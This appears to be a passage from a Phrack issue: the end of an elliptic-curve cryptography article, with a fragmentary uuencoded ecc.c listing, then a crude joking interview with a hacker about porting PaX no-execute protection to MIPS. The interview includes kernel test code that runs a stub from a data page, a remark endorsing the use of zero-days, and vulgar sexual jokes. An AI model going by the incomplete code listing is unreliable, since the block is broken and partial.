You have learned a lot about elliptic curves while reading this article, but there still remains a bunch of unmentioned ideas. We list some important ones:

1. Elliptic curves can be defined over other fields than binary ones. Let p be a prime number and Z_p the set of nonnegative integers smaller than p. Then Z_p forms a finite field (addition and multiplication have to be understood modulo p, see [ModularArithmetic] and [FiniteField]).

For these fields the elliptic curve E(a, b) is defined to be the set of solutions of the equation

y^2 = x^3 + ax + b

plus the point at infinity 'o'. Of course point addition and doubling routines differ from that given above, but essentially these "prime curves" form an algebraical group in a similar way as binary curves do. It is not that prime curves are more or less secure than binary curves. They just offer another class of groups suitable for cryptographic purposes.

NIST recommends five prime curves: P192, P224, P256, P384 and P521.

2. In this article we presented the public key encryption scheme ECIES. It should be mentioned that ECC‑based signature schemes (see [ECDSA]) and authenticated key establishment protocols ([MQV]) do also exist. The implementation is left as exercise to the reader.

3. Our double‑and‑add point multiplicator is very rudimentary. Better ones can do the "k * P" job in half the time. We just give the idea of a first improvement:

Suppose we want to calculate 15 * P for a curve point P. The double‑and‑add algorithm does this in the following way:

15 * P = 2 * (2 * (2 * (2 * 'o' + P) + P) + P) + P

This takes three point doublings and three point additions (calculations concerning 'o' are not considered).

We could compute 15 * P in a cleverer fashion:

15 * P = 16 * P ‑ P = 2 * 2 * 2 * 2 * P ‑ P

This takes four doublings plus a single addition; hence we may expect point multiplicators using this trick to be better performers than the standard double‑and‑add algorithm. In practice this trick can speed up the point multiplication by about 30%.

See [NAF] for more information about this topic.

4. In implementations the most time consuming field operation is always the element inversion. We saw that both the point addition and the point doubling routines require one field division each. There is a trick that reduces the amount of divisions in a full "k * P" point multiplication to just one. The idea is to represent the curve point (x,y) as triple (X,Y,Z) where x = X/Z, y = Y/Z. In this "projective" representation all field divisions can by deferred to the very end of the point multiplication, where they are carried out in a single inversion.

Different types of coordinate systems of the projective type are presented in [CoordSys].

‑‑‑[ A ‑ Appendix: Literature

A variety of interesting literature exists on elliptic curve cryptography. I recommend to start with [G2ECC] and [ECIC]. Other good references are given in [ECC].

Elliptic curves and cryptographical protocols using them have been standardized by IEEE [P1363], ANSI (X9.62, X9.63) and SECG [SECG], to list just some.

See [Certicom] and [ECCPrimer] for two tutorials about ECC.

The best reference about classical cryptography is [HAC].

[G2ECC] Hankerson, Menezes, Vanstone, "Guide to Elliptic Curve Cryptography", Springer‑Verlag, 2004 http://www.cacr.math.uwaterloo.ca/ecc/

[ECIC] Blake, Seroussi, Smart, "Elliptic Curves in Cryptography", Cambridge University Press, 1999 http://www.cambridge.org/aus/catalogue/catalogue.asp?isbn=0521653746

[HAC] Menezes, Oorschot, Vanstone: "Handbook of Applied Cryptography", CRC Press, 1996, http://www.cacr.math.uwaterloo.ca/hac/

[Groups] http://en.wikipedia.org/wiki/Group_(mathematics)

[Lagrange] http://en.wikipedia.org/wiki/Lagrange's_theorem

[CyclicGroups] http://en.wikipedia.org/wiki/Cyclic_group

[GroupTheory] http://en.wikipedia.org/wiki/Elementary_group_theory

[DLP] http://en.wikipedia.org/wiki/Discrete_logarithm

[DH] http://en.wikipedia.org/wiki/Diffie‑Hellman

[ElGamal] http://en.wikipedia.org/wiki/ElGamal_discrete_log_cryptosystem

[AliceAndBob] http://en.wikipedia.org/wiki/Alice_and_Bob

[FiniteField] http://en.wikipedia.org/wiki/Finite_field

[FieldTheory] http://en.wikipedia.org/wiki/Field_theory_(mathematics)

[FieldTheoryGlossary] http://en.wikipedia.org/wiki/Glossary_of_field_theory

[FieldArithmetic] http://en.wikipedia.org/wiki/Finite_field_arithmetic

[ModularArithmetic] http://en.wikipedia.org/wiki/Modular_arithmetic

[ECC] http://en.wikipedia.org/wiki/Elliptic_curve_cryptography

[EllipticCurve] http://en.wikipedia.org/wiki/Elliptic_curve

[PointArith] http://wikisource.org/wiki/Binary_Curve_Affine_Coordinates

[DoubleAndAdd] http://en.wikipedia.org/wiki/Exponentiation_by_squaring

[NIST] http://csrc.nist.gov/CryptoToolkit/dss/ecdsa/NISTReCur.ps

[NISTParams] http://wikisource.org/wiki/NIST_Binary_Curves_Parameters

[PollardRho] http://en.wikipedia.org/wiki/

Pollard's_rho_algorithm_for_logarithms

[XTEA] http://en.wikipedia.org/wiki/XTEA

[DMhashing] http://en.wikipedia.org/wiki/Davies‑Meyer_construction

[ECDSA] http://en.wikipedia.org/wiki/Elliptic_Curve_DSA

[MQV] http://en.wikipedia.org/wiki/MQV

[NAF] http://en.wikipedia.org/wiki/Non‑adjacent_form

[CoordSys] http://wikisource.org/wiki/Wikisource:Cryptography

[P1363] http://en.wikipedia.org/wiki/IEEE_P1363

[SECG] http://en.wikipedia.org/wiki/SECG

[Certicom] http://www.certicom.com/index.php?action=ecc,ecc_tutorial

[ECCPrimer] http://linuxdevices.com/articles/AT7211498192.html

‑‑‑[ B ‑ Appendix: Code

$ cat ecc.c.uue

begin 644 ecc.c

M+RH@"B`@5&AI<R!P<F]G<F%M(&EM<&QE;65N=',@=&AE($5#2453('!U8FQI M8R!K97D@96YC<GEP=&EO;B!S8VAE;64@8F%S960@;VX@=&AE"B`@3DE35"!" M,38S(&5L;&EP=&EC(&‑U<G9E(&%N9"!T:&4@6%1%02!B;&]C:R!C:7!H97(N M(%1H92!C;V1E('=A<R!W<FET=&5N"B`@87,@86X@86‑C;VUP86YI;65N="!F M;W(@86X@87)T:6‑L92!P=6)L:7‑H960@:6X@<&AR86‑K(",V,R!A;F0@:7,@ M<F5L96%S960@=&\*("!T:&4@<'5B;&EC(&1O;6%I;BX**B\*"B‑I;F‑L=61E M(#QS=&1I;G0N:#X*(VEN8VQU9&4@/'‑T9&QI8BYH/@HC:6YC;'5D92`\<W1R M:6YG+F@^"B‑I;F‑L=61E(#QF8VYT;"YH/@HC:6YC;'5D92`\=6YI<W1D+F@^ M"B‑I;F‑L=61E(#QS=&1I;RYH/@HC:6YC;'5D92`\;F5T:6YE="]I;BYH/@H* M(V1E9FEN92!‑04‑23RA!*2!D;R![($$[('T@=VAI;&4H,"D*(V1E9FEN92!M24XH82P@8BD@*"AA*2`\("AB*2`_("AA*2`Z("AB*2D*(V1E9FEN92!#2$%2 M4S))3E0H<'1R*2!N=&]H;"@J*'5I;G0S,E]T*BDH<'1R*2D*(V1E9FEN92!) M3E0R0TA!4E,H<'1R+"!V86PI($U!0U)/*"`J*'5I;G0S,E]T*BDH<'1R*2`]

M(&AT;VYL*'9A;"D@*0H*(V1E9FEN92!$159?4D%.1$]‑("(O9&5V+W5R86YD M;VTB"@HC9&5F:6YE($9!5$%,*',I($U!0U)/*"!P97)R;W(H<RD[(&5X:70H

M,C4U*2`I"@HO*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ M*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ*BHJ+PH*

M(V1E9FEN92!$14=2144@,38S("`@("`@("`@("`@("`@("`@("`@("\J('1H

M92!D96=R964@;V8@=&AE(&9I96QD('!O;'EN;VUI86P@*B\*(V1E9FEN92!‑

M05)'24X@,R`@("`@("`@("`@("`@("`@("`@("`@("`@("`@("

M("`@("\J(&1O;B=T('1O=6‑H('1H:7,@*B\*(V1E9FEN92!.54U73U)$4R`H

end

size 15669

f86c92039c992d2d2bd2b85c8807ac2f7af57c5c

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Prophile on Tiago

phrack.org:~# cat .bash_history

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x04 of 0x14

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ P R O P H I L E O N T I A G O ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑=[ Specification

Handle: tiago

AKA: module

Handle origin: Lemme call my mom and ask, just a second... ok; "it was between pedro henrique and tiago, but after looking for reasons that would define

we decided to throw a coin: head".

catch him: By producing whatsoever sign/event pair that would take my attention and get you the expected feedback.

Age of your body: 24

Produced in: Southeastern Coconutland Height & Weight: 178cm, 70kg

Urlz: .

Computers: SGI Indy (R4600PC at 100MHz, 128MB RAM, 2GB hdd), Sun Ultra‑10 (UltraSparc IIi at 440MHz, 1GB RAM, 9GB hdd), Toshiba Portege 4005

laptop (Intel P3 at 800MHz, 512MB RAM, 20GB

hdd).

Member of: Teletubbies

Projects: Many fields in computer theory. Software Engineering subjects such as: Abstract Interpretation, Program Transformation, Reverse Engineering, etc. Applied cryptography at work.

Enjoy hardware design, operating system design/implementation hacks, software design/implementation security related

exploitation. Anything that actually takes

my attention for whatever reason.

|=‑‑‑=[ Favorite things

Women: je veux un petite pipe, s'il vous plait Cars: I don't know how to drive

Foods: taco‑taco brrrito‑brritooo

Alcohol: combined with Benflogin

Music: Symantec iz in tha houuuuuuuuuse!!!!! c'mon c'mooooooon sing sing! see tha solution! Symanteeeec, revoooolutiooooon... we give yooooooouuu... sweet soluttiooooonnss \o\ /o\ \o\ /o/ We! got your personal firewalllz! ... dunt dunt..

‑> http://www.phrack.org/symantec_fancyness.mp3,

por favor.

Movies: GOBBLES.avi

Books & Authors: HUHU, books are fancy q:D ‑‑ stuff that have been remarkable on my near past. still reading some: . Whom the Gods Love: The Story of Evariste Galois, infeld, (spanish, by Siglo Veintiuno Editores);

. Computer Architecture: A Quantitative Approach, hennessy & patterson (english, by MK);

. Comprehensive Textbook of Psychiatry, kaplan &

sadock (english, LWW);

. The Art of Computer Programming, vol. 1‑3, knuth

(3rd Ed., Addison Wesley) ‑‑ <3 dutchy;

. Systems and Theories in Psychology, marx & hillix (portuguese, by Alvaro Cabral);

. Cognitive Psychology and its Implications, anderson (portuguese, by LTC);

. Axiomatic Set Theory, bernays (english, by Dover,

2nd Ed., 1968‑1991);

. La Fine della Modernit, vattimo (portuguese, by Martins Fontes);

. Grundlegung zur Metaphysik der Sitten, kant (english, by H.J. Paton);

. Einfhrung in die Metaphysik, heidegger (english, by Gregory Fried and Richard Polt);

. Principia Mathematica, russel (english, by Cambrige Mathematical Library, 2nd Ed., 1927‑1997);

. Uber formal unentscheidbare Satze der Principia Mathematica und verwandter Systeme, I, gdel (english, by B. Meltzer);

. Tractatus Logico‑Philosoficus, wittgenstein (english, by Routledge & Kegan Paul);

. A Philosophical Companion to First‑Order Logic,

hughes (english, by R.I.G.);

. Freedom and Organization 1814‑1914, russel (english, by Routledge);

. Ethica, spinoza (english, by Hafner);

. Gdel's Proof, nagel & newman (english, by NYU);

. Zur Genealogie der Moral, nietzsche (english, by Douglas Smith);

. Theory of Matrices, perils (englisn, by Dover, 1958‑1991);

. Modern Algebra, warner (english, by Dover,

1965‑1990);

. Security Assessment: Case Studies for Implementing

the NSA ‑‑ National Symposium of Albatri;

Urls: www.petiteteenager.com

I like: HUHU'ing

I dislike: not HUHU'ing

|=‑‑‑=[ Life in 3 sentences

DG = DH ‑ TDS

|=‑‑‑=[ Passions | What makes you tick

Too complex to be described with a set of words: totally undecidable; cannot be solved by any algorithm whatsover ‑‑ equivalently, english, portuguese, .... Cannot be recognized by a Turing Machine, of which should halt for any input...

... but for coconuts!

|=‑‑‑=[ Which research have you done or which one gave you the most fun?

Anything that made me stop and, extra‑ordinarily, question the extra‑ordinary.

|=‑‑‑=[ Memorable Experiences

Going against my family and staying at the computer through nights. Having this to allow me to have fun and feel pain. Looking for the utopic job. Going to south Brazil, Mexico, and northeast Brazil to find it. Meeting the people I have met through this quest, seeing the history I have seen passing in front of my eyes in every place I stepped. Being drunk, being sober, falling down and off. Getting fucking up and HUHU'ing again. And again.

Feeling, being cold, believing and being agnostic. Fighting. Getting girls for the pleasure and falling apart for theirs. Prank‑calling, chopp‑touring, writing, counting. Stopping.

Looking for sharks, surfing, breaking my phusei‑self. Going and bringging others into this.

Being.

|=‑‑‑=[ Quotes

. HUHU

. \o/

. /o\

. wish I was dead so I could be happy and safe!

. \o\

. q:D

. :S

. you better call someone smart!

. \o\

. :/

. I'd rather have 300 beers a month than a formal education

. /o/

. <3

|=‑‑‑=[ Open Interview ‑ General boring questions

Q: What was your first contact with computers?

A: Since really young I used to go to my grandparents' on the weekends. When I was 8 I started having some fun by sniffing around my uncle's electronic lab located at the back side of his room (the guy was an electronic eng. grad. student at the time). Fetching experiences from the subject I can tell I used to go crazy about the place ‑serio. From encyclopedias, through pieces of plastic, ending in broken VCR's and widely exposed TV's. In certain saturday of my 11's there was little tiago playing around that room: I can clearly remember climbing (theo style) the closet, looking for fun objects, when I faced this box; I took it, I opened it, I faced a computer. Assembled by some brazilian manufactor, there was the CP200 with a board based on a Z80A CORE. There was tiago huhu'ing around because of that piece of fancyness. It lasted for exact 3 months, till the day the tape that was responsable for connecting the keyboard to the main board got screwd; ripped ‑‑ R.I.P. 3 months were enough for playing around with basic BASIC and abstracting that new fancy stuff. The time went through and I haven't had the possibility of having a computer again. In january 1996 I went to Sao Paulo, kids vacations you know. I stood with an uncle whom had this company of which had some DOS based machines, maintained by this Clipper programmer. I remember perfectly being "taught" how to turn on the computer an press the keys. Very few time after this moment I was being introduced to this very fancy toy known as PCTools ‑‑ anyone? Yes, there was 15 year old tiago, who could barely turn on that thing, giving his first steps on reverse engineering. 15 days, that was the exact time of my exposition to the environment. Again, no more computers. August 1999, dad arrives home with a Packard Bell station. It was a Pentium MMX at 166MHz, with the amount of 16MB of RAM, and a 3.1GB IBM hard disk. Not just that, it had multimedia fancyness and the great thing known as modem. It carried, and was being carried by, a Windows 98 operating system. Wow! tiago had his first modern computer. Yes. But wait, where is my black screen full of unintelligible numbers written on green letters?! Fuck this! Frustration... time.. Internet! time.. ICQ! time ... IRC, #hacking. "yo, click start menu, execute. Now type: telnet huhu.fancyworld.net 1470" ‑‑ orgasm ‑‑. It happened till the day I questioned what those sequence of magical pressed‑keys actually meant. And then it began... HUUUU! coding! HUHUHUHHUHHUHUHUHUHUHUHUHUHUHUHUHUHUHU HUHUHUHUHUHU :D:D:D q:D \o/ \o\ /o/ /o/ /o\ \o/

But yeah, that crazy image of a bunch of green code in a dark screen never went out of my mind, I needed to go lower‑level... and so I went, and keep on going, to never reach, to never end.

Wait, I would like to make a comment out of the belou, kthx: there is no point to writting zero‑day if you are not going to use it! I'm welcome.

Q: What was your first contact with computer security and how important for you is computer security relative to your interest in computers in general?

A: In the end of the above story. After that I've met some other coconuts who have been responsable for my first real adventures in security. That was the real kick: reading phrack and going HUHU, reading code, not having a damn clue of what it was doing, and being days awake till I could get the mininum insight. Getting bored of the "usual" things, giving the finger to the "common games" and comming to play in whatever I pleased.

How important? It transformed me into a new form of coconut.

Q: Being relatively seperate from the "scene" in general, what was your opinion on the concept of "the scene" and was your distance from this concept (that may possibly exist) deliberate or not?

A: As I see, it is just another society around there.

As the "getting into it" was happening, I tended to get more and more detached from this so called "scene". My being was thrown aside by the scene. All I wanted was to sit down and hack. I couldn't digest it and it couldn't digest my self. I sat back, I played, I watched you guys.

Q: Actually isn't the whole current concept of "scene" a big load of social correlation and acceptability bullshit?

A: It is "normal"; expected. Nothing that I don't see when I go to the bakery or to a club with friends. People "look", people perceive, people infer ‑‑ people judge based on their a priori context. What in the hell am I doing?

Q: What do you think of Phrack magazine? Do you think it should be "resurrected" or continued to be maintained? If so, do you think it should change themes in any way (since many suggest that phrack is no longer a magazine for hackers but some bullshit academic fame making fluff for the computer security industry)? Would you rather see a Phrack that exclusively published movie reviews and cooking tips? A: It was responsable for many HU's bumping inside my head. I jumped, I got pissed, injuried and healthy. It gave me inputs, it drove me to many outputs, where all the results in between these events were responsable for keeping this coconut going on. Going on is the point, why to stop it? I was getting bored of the articles, yes. But I believe this is more for my personal changes than actually the magazine's. However, I see some big tendency of articles (as a reflection of the scene) converging always to the same place and getting stuck there, in a boring iteration that never ends. I've played with Linux's execution environment and the technical specs linked to it, but then I went to something else ‑‑ this being the same game, now with PalmOS or simply going play with Optimization, Obfuscation, or to hack the IrDA's driver of my laptop. How can people write articles on what you call "shellcodes" for every single computer architecture, operating system, supported ABI's, supported ISA's, or whatever? Isn't that just a matter of getting manuals? Why to dissert about the ELF format file and the dynamic linking system of some specific plataform without any "improvement" (take this as a big boom, I don't think it's worth to define the term here) in a "hacking technique"? I think that is what sucks in phrack nowadays. About the academic style, I have problems with formalism myself. Something what I really appreciate in phrack, for instance, is this mid‑level formalism when compared to the academy. I believe it is very interesting the fact that you can submit a compilation of techniques with some basic scraps about it, in a non‑defined format or dissertative way. If people behind it think the content is good, it will make it. Though, I also think that the minimum formalism is necessary, otherwise it gives excessive room for nonsense to be exposed, and I don't think it is cool for people to read "Assembly HOW‑TO's" that "teach" you the usage of some "instructions", for some specific plataform, in some very restricted context and make the reader to believe they understand about that universe.

About fame: unfair but expected ‑‑ feel like vomiting whenever I think of myths, however if I re‑gurgitate myths will deliberately be pulled out, as gastric ulcer, of my very self.

I would love to see a review of the /home/PORNO/ collection, indeed. And I really expect to be having some dope french food till the end of the year, yes.

Q: What do you have to say about that whitehat/blackhat opposition that gained more attention in the last years and what do you reply to those people calling you a whitehat because one of your project was about porting PaX?

A: How would I get called if I was running in circles and blubbering whilst wearing an orange suit? Teletubbie?

Q: How would you qualify the hacking underground in 2005? Many people think there is no more underground because of all the commercial bullshit around security. Any comments?

A: I believe thinking about this is an act of oblivion. You might be able to determine several characteristics and classify the pros and cons of the process. Though, as the process' development gets strongger its transformation power increases as well, thus the number of "ideal‑branches" within this social group tend to increase and react between themselves. How are Montmartre and Montparnasse nowadays?

Q: Who are your heroes of computer security, and why?

A: I have many, serio ‑‑ and I'm a lucky bastard for being able to meet/know many of them. But what difference would it really make if I told you? The heroes are mine, the fucking myths are mine.

Can I make a question myself? kthx.

Q: Coxinha+guarana or Exchange 0‑day?

A:

Q: How do you define the term "hacker"?

A: I believe symbolic references determine a "fact". A linguistic representation of someone's type of reality, at certain time. As the Being of that being changes, so does its perception about that fact. When beings as such, or even as Nothing, interact, entropy increases and the fact tends to get more deformed. The technicism helps the process, as information media get more powerful and globally spread. Consumate Nihilism. I believe.

Q: Come on, 'fess up. You're brazillian after all, so name all the sites you've defaced.

A: HAPPY BIRTHDAAAAAAAY!!!!!!!!!!!!!!!1

Q: If you were having sex with route, would you be the top or bottom? A: I would try both. I would try others. Though I would really just be interested in the muscles, tattoos and guns :D

Q.1: We hear you're the guy who schooled pageexec@freemail.hu on PaX. Is this true? Explain.

Q.2: What was your motivation in porting PaX to MIPS, what were the biggest problems you encountered and how did you resolve them? A: Schooled? I don't think so :>. There is this story about the impossibility of PAGEEXEC on MIPS based computers, initiated by the great Theoretical de Raadt {[1],[2]}.

Motivation: I simply thought it would be fun to try to prove it wrong and started playing around. In the end, I just found out I was the wrong one. For now at least :>

[Warning]

I'd like to advise that I'm DRUNK, at Bulas's, having a great party in the name of Tango's bday: happy bday, Tango!!! No aids, bro ;> just beerz and cheerz!

[First approach]

Trying to play with caching system. Failed.

[From Linux‑MIPS mailing list]

"PAX can't be fully supported on MIPS anyway; the architecture doesn't have a no‑exec flag in it's pages. PAX docs are bullshit btw. execution proection doesn't require a split TLB and anyway, the MIPS uTLBs are split." ‑‑ Ralf

[Response] (despite the fact that Ralf, one of my fancy germans, missed the entire point of the PaX project)

I see that MIPS has split TLB's, which can not be distinguished by software level, in another hand. Thus when a page‑fault occours I don't see how a piece of (non‑microcoded) exception handler can get aware whether the I‑Fetch is being done in original ``code area'' or as an attempt to execute injected payload in a memory area supposed to carry only readable/writeable data. Plus the fact that JTLB holds references to data and code together in the address translation cache. Plus situations like kseg0 and kseg1 unmaped translations, which would occour outside of any TLB (having virtual address subtracted by 0x80000000 and 0xA0000000 respectively to get physiscal locations) making, as you mentioned, only split uTLB's (not counting kseg2 special case). But PaX wants to take care of kernel level security too. Even MIPS split cache unities (which can be probed separately by software) wouldn't make the approach possible since if you have a piece of data previously cached in D‑Cache (load/store) the cache line would need to suffer an invalidation and the context to be saved in the I‑Cache before the I‑Fetch pipe stage succeeds.

Indeed, execution protection (in a general way) does not require split TLB. Other solutions designed and implemented by PaX are SEGMEXEC (using specific segmentation features of x86 basead core's) and MPROTECT. The last one uses vm_flags to control every memory mapping's state, ensuring that these never hold VM_WRITE | VM_MAYWRITE together with VM_EXEC | VM_MAYEXEC. But as the solution becomes more complex it also tends to get more issues. First of all, this wouldn't be as simple and ``automatic'' as per page control. Another point is that this solution wouldn't prevent kernel level attacks so, among others, any compromise in this level could lead to direct manipulation of a task's mappings flags. At the end a known problem is an attacker who is able to write to the filesystem and to request this file to be mapped in memory as PROT_EXEC. In other words: yes it is possible to achieve execution protection in other ways, but not as precise as page‑level.

[Second approach]

"Plus the fact that JTLB holds references to data and code together in the address translation cache." went from a problem to a solution, when discussing it to PaX team.

The quote:

"Multiple Matches: If more than one entry in the TLB matches the virtual address being translated, the operation is undefined." ‑‑ from [3].

The algorithm:

‑ from the Refill exception handler, check fetching type {

* _EPC = EPC;

* if CP0(Cause(BD)) [

. _EPC += 4;

]

* compare ( CP0(_EPC) , CP0(BadVaddr) ) [

. if TRUE ( I‑Fetch );

. else ( D‑Fetch );

]

* I‑Fetch [

. build the valid PTE and load it normally in the J‑TLB; ]

* D‑Fetch [

. build a valid PTE and load it in the J‑TLB;

. force it to be loaded in our lovely entry in the D‑TLB (

__asm__ __volatile__ ("lw %0,0(%1)"\ : "=r" (user_data)\

: "r" (address));

)

. build an invalid PTE, for the same ASID/VPN, marked by PaX (

static inline pte_t pte_mkpax(pte_t pte)

{

pte_val(pte) &= ~(_PAGE_READ|_PAGE_SILENT_READ|_PAGE_DIRTY); }

)

. load the invalid entry in the J‑TLB

]

}

The conjecture:

If a I‑Fetch happens to that (previously marked by PaX) page, the circuit's TLB sorting algorithm should take the invalidated entry from J‑TLB, load it within the I‑TLB and generate a second page fault by trying to make use of this entry.

‑ from the Refill exception handler, check fetching type {

* _EPC = EPC;

* if CP0(Cause(BD)) [

. _EPC += 4;

]

* compare ( CP0(_EPC) , CP0(BadVaddr) ) [

. if TRUE ( I‑Fetch );

. else ( D‑Fetch );

]

* I‑Fetch [

. for PaX marked pages (

pax_report_fault(...);

do_exit(SIGKILL);

)

. for non PaX pages, build the valid PTE and load it normally in the J‑TLB;

]

}

[The experiment]

The computer:

IDT 79RV4600‑100, 128MB of RAM.

‑ Executive code {

* play with CP0(Index);

* play with CP0(EntryLo)'s flags;

* play with CP0(Wired);

}

‑ Dump the Translation Lookaside Buffer entries to disk {

* look for patterns;

}

The user code:

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <fcntl.h>

#include <sys/mman.h>

#include <asm/page.h>

jr $31 ; nop */

const unsigned longpayload[] = { 0x03e00008, 0x00000000 };

int

main(int argc, char **argv)

{

unsigned longpage,

vpn;

void*vaddr;

intfd;

/* mmap itself won't load/store the page, which means a virgin

* place so we can be the fault's EPC.

*/

if (argv[1]) {

fd = open(argv[1],O_RDWR);

vaddr = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,\ MAP_PRIVATE, fd, 0);

} else {

/* malloc's internals stores then loads somewhere in

* the page range, it will generate our fault.

*/

/* This is ridiculous, but MIPS glibc's

* does brk(PAGE_SIZE * 33) even if you

* just want to malloc(few bytes), normally you get:

* ‑> brk (0x10001000 + (PAGE_SIZE * 33))

*

* If malloc requested size > 33 pages then it old_mmap

* PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS

*

* Even funnier cause as far as I can tell glibc

* assumes size >= 32 (instead of 33) to then

* get_unmapped_area....

*

* Thinking about the whole MIPS architecute i can't

* think of anything that could justify this crap.

*/

vaddr = malloc (33 * PAGE_SIZE);

memcpy(vaddr, (void *) payload, 8);

}

page = ((unsigned long) vaddr & (PAGE_MASK));

vpn = ((unsigned long) vaddr & (PAGE_MASK << 1));

printf("Payload @ %08lx\n", (unsigned long) vaddr); printf("CP0_BADVADDR : %08lx [VPN = %08lx]\n\n", (page+8), vpn);

/* I‑Fetch vaddr */

asm(

"or$8,$2,$3\n"

"jalr$8\n"

: : "r" (page), "r" (((unsigned long) vaddr & ~(PAGE_MASK)))

);

returnpage;

}

[The results]

Patterns:

No pattern. Sorting algorithm seems undecidable from the software interface.

‑ Output example {

surreal kernel: ######################################

surreal kernel: [do_page_fault] : Program : Hello [3218] surreal kernel: [do_page_fault] : CP0_BADVADDR : 2aac3004 surreal kernel: [do_page_fault] : EPC : 2ab90928 surreal kernel: ‑‑‑> TLBS Exception (1000ffdb) surreal kernel:

surreal kernel: ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[BEFORE]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑surreal kernel: [__update_tlb] : Program : Hello [3218] surreal kernel: [__update_tlb] : CP0_BADVADDR : 2aac3004 surreal kernel: [__update_tlb] : ASID : 00000062 surreal kernel: [__update_tlb] : EntryHi : 2aac2062 surreal kernel: [__update_tlb] : EntryLo0 : 32565e surreal kernel: [__update_tlb] : EntryLo1 : 0 surreal kernel: [__update_tlb] : Index : 45 surreal kernel:

surreal kernel: ‑‑‑‑ TLB Entries ‑‑‑‑

..................................

surreal kernel: Index: 45 pgmask=4kb va=2aac2000 asid=62 surreal kernel: EntryLo0 : [pa=0c959000 c=3 d=1 v=1 g=0] surreal kernel: EntryLo1 : [pa=00000000 c=0 d=0 v=0 g=0] surreal kernel:

surreal kernel: ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[AFTER]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑surreal kernel: [__update_tlb] : Program : Hello [3218] surreal kernel: [__update_tlb] : CP0_BADVADDR : 2aac3004 [00000000] surreal kernel: [__update_tlb] : ASID : 00000062 surreal kernel: [__update_tlb] : EntryHi : 2aac2062 surreal kernel: [__update_tlb] : EntryLo0 : 32565c surreal kernel: [__update_tlb] : EntryLo1 : 3297dc surreal kernel: [__update_tlb] : Index : 47 surreal kernel:

surreal kernel: ‑‑‑‑ TLB Entries ‑‑‑‑

..................................

surreal kernel: Index: 45 pgmask=4kb va=2aac2000 asid=62 surreal kernel: EntryLo0 : [pa=0c959000 c=3 d=1 v=1 g=0] surreal kernel: EntryLo1 : [pa=0ca5f000 c=3 d=1 v=1 g=0] surreal kernel:

surreal kernel: Index: 47 pgmask=4kb va=2aac2000 asid=62 surreal kernel: EntryLo0 : [pa=0c959000 c=3 d=1 v=0 g=0] surreal kernel: EntryLo1 : [pa=0ca5f000 c=3 d=1 v=0 g=0] }

‑ Working example {

tiago@surreal(~)$ ./Hello

Payload @ 2aac3008

CP0_BADVADDR : 2aac3008 [VPN = 2aac2000]

Killed

tiago@surreal(~)$ uname ‑a

Linux surreal 2.6.9‑rc2 #125 Thu Oct 28 05:38:27 BRT 2004 mips unknown tiago@surreal(~)$

..................................

surreal kernel: ################## EXECUTION ATTEMPT ################# surreal kernel: [do_page_fault] : Program : Hello [3218] surreal kernel: [do_page_fault] : CP0_BADVADDR : 2aac3008 surreal kernel: [do_page_fault] : EPC : 2aac3008

}

‑ Possible reasons {

* timing;

* stupidity;

* ...;

}

So? Looking at some opencores.org's projects and checking their MMU circuit implementations that might get me some ideas.

Ah! Yes, BTW, if you have the HDL project of the Stanford MIPS, or any of its children, please hook me up ‑‑ warez. kthx.

[1] http://www.securityfocus.com/archive/1/333303/2003‑08‑09/2003‑08‑15/2

[2] http://cvs.openbsd.org/papers/auug04/mgp00009.html

[3] MIPS R4000 Microprocessor's User Manual, 2nd Ed. (p.62).

|=‑‑‑=[ Open Interview ‑ The real cool questions

Q: Is the true you still entertain relation with the KIQ team? what kind of missions did you realised for them?

A: I hate soccer.

Q: How close is your personal relation with the scene whore halfdead? tell us about .ro/.br gangbangs...

A: The hawk that is big?

Q: We heard mayhem is moving to your country escaping french fascist laws, have you never tried ELFsh?

A: Hrmmm, in fact it's just a genius play from big local beuh dealers. Guinness?

Q: You said 4times by the past after posting bullshit in dailydave, you'll never do it again, but you are still posting. How do you live that addiction? Any idea why noone reading that mailing list can't understand a word of your philosofical ideas?

A: 4? I've said it 82 times.

I simply don't think of the subject, it's like having aids and being concerned about it.

Are you nuts? I know for sure I'm the only retarded capable to understand my symbolism ;P

Q: Coxinhaaaaa?

A: Bico

Q: About philosophy, why you ended in ITS world? There are rumors about you talking to your computers about your philosophy and asking them to comment before you post in dailydave?

A: See 'Life'. False! That's why they suck so much.

Q: Absynthe?

A: Sharks!

Q: Did you try to put some sense to your philosofical ideas _without_ any absynthe effect?

A: Bohmes, Dan Frank. <3

Q: Does the number of 'hu' has a signification for you?

A: Huhuhuhuhuhu hu huhuhu

Q: Is there any kind of relation between 'hu' and 'uh'?

A: Uh? Hu!

Q: Absynthe?

A: Spain

Q: Rumor has it that pax team strong‑armed you into being his MIPS bitch, any comments?

A: :< Not fair. I almost cried because of petite pip.

Q: How did your transition from inline skating to inline assembly come about?

A: Sliding...

Q: Which would you say has bigger scenewhores, the hacking scene or the X‑games scene?

A: 540 into True‑spin kind grind, fake 360 out.

Q: What does 'hu' actually mean?

A: Mean? :/

Q: What are your opinions on finger(1) ?

A: HUHUHUHUHU q:D

Q: Free [RaFa] ?

A: Sit on your feet

Q: Do you have anything to say to all the people scuttling around trying to figure out who the fuck you are right now?

